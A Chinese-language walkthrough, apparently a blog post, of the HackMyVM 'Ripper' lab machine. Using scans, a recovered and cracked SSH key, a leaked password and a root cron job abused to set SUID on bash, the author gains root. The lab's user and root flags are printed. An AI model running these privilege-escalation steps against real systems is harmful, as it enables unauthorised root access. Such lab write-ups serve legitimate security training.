[HMV] Ripper

发布时间 2023-05-23 09:35:33作者: 伞酱酱酱

0x00 配置

攻击机 IP: 172.16.1.25

靶机 IP: 172.16.1.90


0x01 攻击

使用 Nmap 扫描目标靶机开放的端口

┌──(root㉿Kali-VM)-[~]
└─# nmap -sC -sV -p- 172.16.1.90
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 172.16.1.90
Host is up (0.00055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 0c3f13546e6ee656d291ebad9536c68d (RSA)
|   256 9be68e14397a17a38088cd772ec33b1a (ECDSA)
|_  256 855a052a4bc0b236ea8ae28ab2efbcdf (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:17:6A:06 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds

发现了 22(SSH) 和 80(HTTP) 端口。查看 Web 页面

Website in maintenance... Come back next month please.

网页和源码都没有任何提示。尝试扫描网站后台

┌──(root㉿Kali-VM)-[~]
└─# gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.16.1.90 -x php,txt,html
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.1.90
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 57]
/.html                (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
/staff_statements.txt (Status: 200) [Size: 107]
Progress: 878072 / 882244 (99.53%)
===============================================================
Finished
===============================================================

发现了一个可疑文件,staff_statements.txt。打开看看

The site is not yet repaired. Technicians are working on it by connecting with old ssh connection files. 

提示我们技术员正在使用旧的 SSH 连接文件。最后在网站下找到了 id_rsa.bak

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDZVZMVwo
cfZRVpSIfcOdmiAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDerPt4pwoQ

...

5fo7tGQ+DvUlyyLfk/UM4N8fsm+rsgkV84ogrTDn3CzMeBu6XY0+XWUbmhRL1/9yuWuU0D
By0QmXw3P/H1csxt8WRkuNygJz80o=
-----END OPENSSH PRIVATE KEY-----

得到了 SSH 私钥,尝试使用虚拟机登录页面的 "jack" 作为用户名登录

image-20230523090539229

┌──(root㉿Kali-VM)-[~/work]
└─# ssh jack@172.16.1.90 -i id_rsa.bak
Enter passphrase for key 'id_rsa.bak':

发现私钥文件有密码。使用 john 破解,得到密码 bananas。成功登录到 jack 用户

-bash-5.0$ pwd
/home/jack

-bash-5.0$ ls -al
total 32
drwx------ 4 jack jack 4096 May 23 02:18 .
drwxr-xr-x 4 root root 4096 May 26  2021 ..
lrwxrwxrwx 1 root root    9 May 26  2021 .bash_history -> /dev/null
-rw-r--r-- 1 jack jack  220 May 26  2021 .bash_logout
-rw-r--r-- 1 jack jack 3527 May 26  2021 .bashrc
drwxr-xr-x 3 jack jack 4096 May 26  2021 .local
-rw-r--r-- 1 jack jack  808 May 26  2021 .profile
drwx------ 2 jack jack 4096 May 26  2021 .ssh
-rw-r--r-- 1 jack jack  207 May 23 02:24 .wget-hsts

在 jack 用户的家目录下没有发现 user flag,看来需要继续提权

-bash-5.0$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
jack:x:1000:1000:,,,:/home/jack:/bin/bash
helder:x:1001:1001:,,,:/home/helder:/bin/bash

发现一个 helder 用户。但未找到 Sudo 或者 SUID 的提权方法。使用 linpeass.sh 脚本检查一下系统

═╣ Can I read opasswd file? ............. 
jack:Il0V3lipt0n1c3t3a

发现一个可疑的 opasswd。不过一开始我没注意到这个,而是用 pspy64 发现了一个计划任务

20XX/XX/XX XX:XX:XX CMD: UID=0     PID=13277  | /usr/sbin/CRON -f 
20XX/XX/XX XX:XX:XX CMD: UID=0     PID=13278  | /bin/sh -c nc -vv -q 1 localhost 10000 > /root/.local/out && if [ "$(cat /root/.local/helder.txt)" = "$(cat /home/helder/passwd.txt)" ] ; then chmod +s "/usr/bin/$(cat /root/.local/out)" ; fi 
20XX/XX/XX XX:XX:XX CMD: UID=0     PID=13279  | /bin/sh -c    cd / && run-parts --report /etc/cron.hourly 

这行命令是在做什么?

/bin/sh -c nc -vv -q 1 localhost 10000 > /root/.local/out && if [ "$(cat /root/.local/helder.txt)" = "$(cat /home/helder/passwd.txt)" ] ; then chmod +s "/usr/bin/$(cat /root/.local/out)" ; fi 
  • 创建 nc 监听在本地的 10000 端口上,每次只监听 1 秒
  • 把 nc 监听到的输入重定向到 /root/.local/out
  • 如果 /root/.local/helder.txt 和 /home/helder/passwd.txt 的内容一致,则对 nc 输入的东西赋予 SUID

多次尝试 nc 输入未果,猜测是上一个条件 /root/.local/helder.txt 和 /home/helder/passwd.txt 的内容不一致。不过闲杂还没有权限访问 /home/helder,更不要说 /root 了,所以这应该不是这步提权要用到的,应该是提权到 root 时用的

言归正传,尝试用刚才获得的密码 Il0V3lipt0n1c3t3a 登录 helder

-bash-5.0$ su - helder
Password: 

-bash-5.0$ id
uid=1001(helder) gid=1001(helder) groups=1001(helder)

-bash-5.0$ whoami
helder

-bash-5.0$ ls -al
total 36
drwx------ 3 helder helder 4096 May 23 02:48 .
drwxr-xr-x 4 root   root   4096 May 26  2021 ..
lrwxrwxrwx 1 root   root      9 May 26  2021 .bash_history -> /dev/null
-rw-r--r-- 1 helder helder  220 May 26  2021 .bash_logout
-rw-r--r-- 1 helder helder 3659 May 26  2021 .bashrc
drwxr-xr-x 3 helder helder 4096 May 26  2021 .local
lrwxrwxrwx 1 helder helder   23 May 23 02:46 passwd.txt -> /root/.local/helder.txt
-rw-r--r-- 1 helder helder  940 May 26  2021 .profile
-rw-r--r-- 1 helder helder    5 May 23 02:48 root
-rwx------ 1 helder helder   33 May 26  2021 user.txt
-rw------- 1 helder helder   52 May 26  2021 .Xauthority

-bash-5.0$ cat user.txt 
5c38d7d08c687355cb0ae3b6025cbe99

成功登录并获得了 user flag。接下来才是用到计划任务提权的地方。因为不知道 /root/.local/helder.txt 里到底是什么,所以我们直接创建一个软链接就行

-bash-5.0$ ln -s /root/.local/helder.txt /home/helder/passwd.txt

然后监听一下 10000 端口,并发送 "bash",来给 bash 加上 SUID

-bash-5.0$ echo "bash" > ncmsg
-bash-5.0$ nc -lnvp 10000 < ncmsg

等待一会之后 nc 运行完毕,bash 也被赋予了 SUID

-bash-5.0$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/bash
/usr/bin/umount
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

然后使用 bash -p 命令即可提权

-bash-5.0$ id
uid=1001(helder) gid=1001(helder) groups=1001(helder)

-bash-5.0$ bash -p

bash-5.0# id
uid=1001(helder) gid=1001(helder) euid=0(root) egid=0(root) groups=0(root),1001(helder)

最后获得 root flag

bash-5.0# cat /root/root.txt
e28f578a17a5f99c0381c4b689d96f9f

0x02 总结

找 helder 的密码的时候走了一些弯路